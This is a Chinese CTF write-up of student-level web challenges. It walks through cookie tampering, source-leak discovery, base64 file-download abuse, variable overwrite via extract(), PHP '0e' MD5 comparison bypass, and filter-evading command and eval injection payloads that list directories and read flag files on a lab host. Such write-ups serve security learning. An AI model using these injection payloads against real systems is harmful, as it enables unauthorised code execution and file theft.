$_GET

源码:

 <?php
show_source(__FILE__);
include 'config.php';
if(!isset($_GET['args'])){
die();
}
if ($_GET['args'] === "give_me_flag") {
echo file_get_contents($flag_of_get); //flag
}
?>

会判断 $_GET 传参,如果是 args 且值是 give_me_flag,就会打印 flag

$_POST

源码

<?php
show_source(__FILE__);
include 'config.php';
if(!isset($_POST['args'])){
die();
}
if ($_POST['args'] === "give_me_flag") {
echo file_get_contents($flag_of_post); //flag
}
?>

跟上一关一样,只是 GET 变成了 POST,用火狐的 hackbar 传参,拿到 flag

$_COOKIE

直接访问会显示:You are not admin,源代码没有任何提示

抓包看看:

有个 cookie: level=0,改成 1 看看

成功拿到 flag

SVN_Leaked

看到 SVN 联想到 SVN 源码泄漏,用工具扫一下

有个 SourceLeakHackerForLinux.py

github 项目:https://github.com/Err0rzz/SourceLeakHacker

一开始各种路径试了试,结果直接访问 .php 文件就可以得到 flag

List It

查看源代码,发现有的 admin 的连接,访问!

访问以后又看到有个

点开就是 flag,怎么感觉这题应该是放在第一道签到题呐。。

change_and_download

发现下载的文件名是 base64 编码的格式

之前一下就做出来了,结果第二次想写文章,再一次做这个题的时候死活做不出来

过几天突然试了一下,把后面的改成 ?url=ZG93bmxvYWQucGhw(download.php 的 base64 编码)

把 download.php 下载下来了,然后发现里面有三个.php 文件

不能直接传 ?url=flag.php 会显示 Access Forbidden!

所以传 ?url=ZmxhZy5waHA= 下载下来的文件里就有 flag

Guess Random

查看源代码,有个 ?debug=true

加上以后就有了源码

发现了extract($_POST),变量覆盖!!

传参:secretKey=1&password=1,得到 flag

Guess Random 2

访问index.php.bak,下载下来 bak 文件

<?php
require_once 'flag.php';
if(isset($_GET['mash']) and isset($_GET['hash'])){ $res = sanitize($_GET['mash']);
$hash = sanitize($_GET['hash']);
$secretValue = (rand(5,5555)*555+55555555555); if(($res != false) and ($hash != false)){
if($res.$secretValue == md5($_GET['hash'])){ echo $flag;
}
else{
echo 'Try Again ! '; }
}
else{
echo "No!!!";
}
}
else{
echo "<img src='http://sqlbak.com/blog/wp-content/uploads/2014/02/bak_file.png'>";
} //function
function sanitize($var){
$valideChar = str_split('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789');
$res = ''; if(isset($var) and !empty($var)){
$tmp = str_split($var); foreach($tmp as $value){
if(in_array($value,$valideChar)){
$res.=$value;
}
}
return $res;
}
else{
return false;
}
}
?>

首先 $_GET 传进两个变量,首先会经过 sanitize 进行处理,处理的过程大概就是将传入的字符串分割成一个一个的字符,然后看看在不在 $valideChar 里面,如果在的话就正常返回值

那么正常的输入字符串是没有什么问题的,剩下的就是绕过 MD5 了

只需要 MD5 开头是 0e,PHP 在进行比较运算时,如果遇到了 0exxx 这种字符串,就会将这种字符串解析为科学计数法,因为 0exx 都等于 0,所以让两者相等我们只需再找到一个 MD5 加密后开头为 0exxx 的字符串即可

需要注意的是,第一个参数是不经过 MD5 的,所以需要直接传入 0exxx 开头的,足够 32 位就可以

Ping

命令执行绕过,试了试过滤了一些:一些命令

但是反引号可以执行命令

通过拼接,可以拼接出来:ls 命令

127.0.0.1;`a="l";b="s";c=$a$b;$c`

可以发现 flag 就是下面那一串 flag_ 开头的字符串

在拼接命令来查看:

127.0.0.1;`a="ca";b="t${IFS}fla";c="g_ae8e4cd6ce3b5";d=$a$b$c;$d`

针对空格过滤,可以使用:

${IFS}

<  (也被过滤了)

$IFS

$IFS$9

来代替,但是考虑到在一串字符串中,所以使用 ${IFS} 来代替空格

Easy RCE

查看源码,发现

但是传值,总是出现问题,在题目的地方发现,可以查看 hint

查看 hint

<?php
eval($_GET['name']."!!!");
?>

后面追加了三个 !!!,所以会有报错

知道问题了,只需要绕过就可以了

使用://就可以把 php 代码注释掉

?name=print_r(scandir('./'));//

?name=print_r(scandir('../../../'));//

?name=system('cat ../../../flag_bfe6335f68be16c1');//

Code Inject

完全是按照网上的 WP 做的 Orz

点击不要点我链接然后得到源代码,这样可以通过闭合括号来实现代码注入

http://198.13.45.199:5007/index.php?code=};phpinfo();//

http://198.13.45.199:5007/index.php?code=}system('ls ../../../');//

http://198.13.45.199:5007/index.php?code=}system('cat ../../../flag_f4bb6a070d7d979e');//

Eval is Evil

源码如下,分析的时候发现 $who 有些特殊,就解码了一下,发现是 flag,同时看到上面的 helper() 函数,就想到可能是需要用 helper() 来解码 $who 传进 flag 去

<?php
highlight_file(__FILE__); $flag = file_get_contents('/flag_6edb44d39f5479601fb'); $yourinput = $_GET['cmd'];
$funcs_internal = get_defined_functions()['internal']; function helper($d){
return base64_decode($d);
} $who = "ZmxhZw=="; $funcs_extra = array ('eval', 'include', 'require', 'function');
$funny_chars = array ('\.', '\+','flag', '-', '\*', '"', '`', '\[', '\]', '@', '!', '#', '%', '&', '~');
$variables = array ('_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_FILES', '_ENV', 'HTTP_ENV_VARS', '_SESSION', 'GLOBALS'); $blacklist = array_merge($funcs_internal, $funcs_extra, $funny_chars, $variables);
$yourbro = "who"; $hacked = false;
$why = "";
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $yourinput)) {
$hacked = true;
$why = $blacklisted;
break;
}
} if ($hacked) {
die('Hacker Detected,<br/>Reason: '.$why." !");
} else {
if(isset($yourinput)){
@eval("echo " . $yourinput . " ;");
}else{
echo "Input your command!";
}
}

构造语句如下:

可以看到是有 flag 回显的,但是这里再往下就不会了 Orz...

后来用谷歌搜了一下,发现可以使用 ${helper($who)}

{} 会默认里面是一个变量,会当作变量来执行,这样就 OK 了

【WP】【web】中学生CTF | web部分wp的更多相关文章

  1. ctf/web源码泄露及利用办法

    和上一篇文章差不多,也算是对web源码泄露的一个总结,但是这篇文章更侧重于CTF 参考文章: https://blog.csdn.net/wy_97/article/details/78165051? ...

  2. “此网页上的某个 Web 部件或 Web 表单控件无法显示或导入。找不到该类型,或该类型未注册为安全类型。”

    自从vs装了Resharper,看见提示总是手贱的想去改掉它.于是乎手一抖,把一个 可视web部件的命名空间给改了. 喏,从LibrarySharePoint.WebPart.LibraryAddEd ...

  3. 语义网 (Semantic Web)和 web 3.0

    语义网=有意义的网络. "如果说 HTML 和 WEB 将整个在线文档变成了一本巨大的书,那么 RDF, schema, 和 inference languages 将会使世界上所有的数据变 ...

  4. Web APi之Web Host消息处理管道(六)

    前言 我们知道Web API本身是无法提供请求-响应的机制,它是通过Web Host以及Self Host的寄宿的宿主方式来提供一个请求-响应的运行环境.二者都是将请求和响应抽象成HttpRespon ...

  5. JavaEE中Web服务器、Web容器、Application服务器区别及联系

    在JavaEE 开发Web中,我们经常会听到Web服务器(Web Server).Web容器(Web Container).应用服务器(Application Server),等容易混淆不好理解名词. ...

  6. nginx+iis、NLB、Web Farm、Web Garden、ARR

    nginx+iis实现负载均衡 在win2008R2上使用(NLB)网络负载均衡 NLB网路负载均衡管理器详解 [译文]Web Farm和Web Garden的区别? IIS负载均衡-Applicat ...

  7. HTML5:web socket 和 web worker

    a:hover { cursor: pointer } 做练习遇到了一个选择题,是关于web worker的,问web worker会不会影响页面性能?补习功课之后,答案是不会影响. 查阅了相关资料学 ...

  8. 走进云背后:微软Azure web 项目通过web service部署web site

    探索云那不为人知的故事(一):Web Services部署web site 前奏:Windows Azure是微软基于云计算的操作系统,现在更名为“Microsoft Azure”,和Azure Se ...

  9. [Java Web] 1、Web开发初识——一大堆历史和技术名词

    LZ前言 LZ最近发现网络真是个神奇的东西,以前做的好玩的只能自娱自乐(或者说顾影自怜),现在只要发一个帖子,写一个博客,很快能引来一大群小伙伴的围观(有时候还能遇见几个大牛给个战略性的指导)...L ...

随机推荐

  1. 【BugFix】K8S节点NOT READY状态,错误信息:network plugin is not ready: cni config uninitialized

    错误现象 runtime network not ready: NetworkReady=false reason:NetworkPluginNotReady message:docker: netw ...

  2. [cf1396E]Distance Matching

    根据$dis(x,y)=d[x]+d[y]-2d[lca(x,y)]$,由于所有点都出现了1次,距离即$\sum_{i=1}^{n}d_{i}-2\sum d[lca(x,y)]$(以下假设根深度为0 ...

  3. [loj3302]信号传递

    由于n较大,可以将n个数中的关系对数量记录在$m*m$的矩阵中,记作$a[i][j]$ 考虑朴素的状压dp枚举排列,即$f[i]$表示以i中的数的一种排列为整个序列的前缀的最小代价,然后转移枚举下一个 ...

  4. WinRAR下载

    https://www.win-rar.com 垃圾7Z有的解压不了.

  5. Python实战:截图识别文字,过万使用量版本!(附源码!!)

    前人栽树后人乘凉,以不造轮子为由 使用百度的图片识字功能,实现了一个上万次使用量的脚本. 系统:win10 Python版本:python3.8.6 pycharm版本:pycharm 2021.1. ...

  6. Codeforces 633F - The Chocolate Spree(树形 dp)

    Codeforces 题目传送门 & 洛谷题目传送门 看来我这个蒟蒻现在也只配刷刷 *2600 左右的题了/dk 这里提供一个奇奇怪怪的大常数做法. 首先还是考虑分析"两条不相交路径 ...

  7. C++匿名函数的使用

    c++匿名函数使用方法 1.匿名函数的使用 匿名函数的基本语法为: //[捕获列表](参数列表)->返回类型{函数体} int main() { auto Add = [](int a, int ...

  8. PowerDotNet平台化软件架构设计与实现系列(05):ETCD分布式键值存储平台

    ETCD目前在PowerDotNet已经被用于注册中心和配置管理(常见的配置中心在PowerDotNet中仅仅是一个小小的模块而已)中,作为基础设施的重要组成部分,ETCD的重要性不言而喻. 本文简单 ...

  9. DTOJ 1561: 草堆摆放

    题目描述 FJ买了一些干草堆,他想把这些干草堆分成N堆(1<=N<=100,000)摆成一圈,其中第i堆有B_i数量的干草.不幸的是,负责运货的司机由于没有听清FJ的要求,只记住分成N堆摆 ...

  10. composer设置阿里云镜像源

    composer设置阿里云镜像源 1. 首先把默认的源给禁用掉 composer config -g secure-http false 2. 再修改镜像源 这里我使用阿里的源 composer co ...